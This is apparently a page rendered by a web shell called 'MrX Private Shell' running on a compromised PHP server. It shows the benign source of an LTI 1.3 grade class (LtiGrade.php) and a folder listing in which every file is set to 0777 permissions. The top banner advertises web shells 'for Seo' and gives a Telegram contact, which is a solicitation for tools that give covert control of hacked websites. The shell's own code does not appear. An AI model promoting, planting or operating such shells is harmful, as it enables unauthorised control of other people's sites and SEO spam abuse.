__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Packback\Lti1p3;
use Packback\Lti1p3\Concerns\JsonStringable;
class LtiGrade
{
use JsonStringable;
private $score_given;
private $score_maximum;
private $comment;
private $activity_progress;
private $grading_progress;
private $timestamp;
private $user_id;
private $submission_review;
private $canvas_extension;
public function __construct(?array $grade = null)
{
$this->score_given = $grade['scoreGiven'] ?? null;
$this->score_maximum = $grade['scoreMaximum'] ?? null;
$this->comment = $grade['comment'] ?? null;
$this->activity_progress = $grade['activityProgress'] ?? null;
$this->grading_progress = $grade['gradingProgress'] ?? null;
$this->timestamp = $grade['timestamp'] ?? null;
$this->user_id = $grade['userId'] ?? null;
$this->submission_review = $grade['submissionReview'] ?? null;
$this->canvas_extension = $grade['https://canvas.instructure.com/lti/submission'] ?? null;
}
public function getArray(): array
{
return [
'scoreGiven' => $this->score_given,
'scoreMaximum' => $this->score_maximum,
'comment' => $this->comment,
'activityProgress' => $this->activity_progress,
'gradingProgress' => $this->grading_progress,
'timestamp' => $this->timestamp,
'userId' => $this->user_id,
'submissionReview' => $this->submission_review,
'https://canvas.instructure.com/lti/submission' => $this->canvas_extension,
];
}
/**
* Static function to allow for method chaining without having to assign to a variable first.
*/
public static function new(): self
{
return new LtiGrade();
}
public function getScoreGiven()
{
return $this->score_given;
}
public function setScoreGiven($value): self
{
$this->score_given = $value;
return $this;
}
public function getScoreMaximum()
{
return $this->score_maximum;
}
public function setScoreMaximum($value): self
{
$this->score_maximum = $value;
return $this;
}
public function getComment()
{
return $this->comment;
}
public function setComment($comment): self
{
$this->comment = $comment;
return $this;
}
public function getActivityProgress()
{
return $this->activity_progress;
}
public function setActivityProgress($value): self
{
$this->activity_progress = $value;
return $this;
}
public function getGradingProgress()
{
return $this->grading_progress;
}
public function setGradingProgress($value): self
{
$this->grading_progress = $value;
return $this;
}
public function getTimestamp()
{
return $this->timestamp;
}
public function setTimestamp($value): self
{
$this->timestamp = $value;
return $this;
}
public function getUserId()
{
return $this->user_id;
}
public function setUserId($value): self
{
$this->user_id = $value;
return $this;
}
public function getSubmissionReview()
{
return $this->submission_review;
}
public function setSubmissionReview($value): self
{
$this->submission_review = $value;
return $this;
}
public function getCanvasExtension()
{
return $this->canvas_extension;
}
/**
* Add custom extensions for Canvas.
*
* Disclaimer: You should only set this if your LMS is Canvas.
* Some LMS (e.g. Schoology) include validation logic that will throw if there
* is unexpected data. And, the type of LMS cannot simply be inferred by their URL.
*
* @see https://documentation.instructure.com/doc/api/score.html
*/
public function setCanvasExtension($value): self
{
$this->canvas_extension = $value;
return $this;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Concerns | Folder | 0777 |
|
|
| DeepLinkResources | Folder | 0777 |
|
|
| Helpers | Folder | 0777 |
|
|
| Interfaces | Folder | 0777 |
|
|
| MessageValidators | Folder | 0777 |
|
|
| JwksEndpoint.php | File | 1.42 KB | 0777 |
|
| Lti1p1Key.php | File | 1.44 KB | 0777 |
|
| LtiAbstractService.php | File | 1.37 KB | 0777 |
|
| LtiAssignmentsGradesService.php | File | 6.73 KB | 0777 |
|
| LtiConstants.php | File | 7.77 KB | 0777 |
|
| LtiCourseGroupsService.php | File | 2 KB | 0777 |
|
| LtiDeepLink.php | File | 1.44 KB | 0777 |
|
| LtiDeployment.php | File | 556 B | 0777 |
|
| LtiException.php | File | 92 B | 0777 |
|
| LtiGrade.php | File | 4.01 KB | 0777 |
|
| LtiGradeSubmissionReview.php | File | 1.75 KB | 0777 |
|
| LtiLineitem.php | File | 3.46 KB | 0777 |
|
| LtiMessageLaunch.php | File | 17.85 KB | 0777 |
|
| LtiNamesRolesProvisioningService.php | File | 976 B | 0777 |
|
| LtiOidcLogin.php | File | 3.54 KB | 0777 |
|
| LtiRegistration.php | File | 2.88 KB | 0777 |
|
| LtiServiceConnector.php | File | 7.59 KB | 0777 |
|
| OidcException.php | File | 93 B | 0777 |
|
| ServiceRequest.php | File | 4.53 KB | 0777 |
|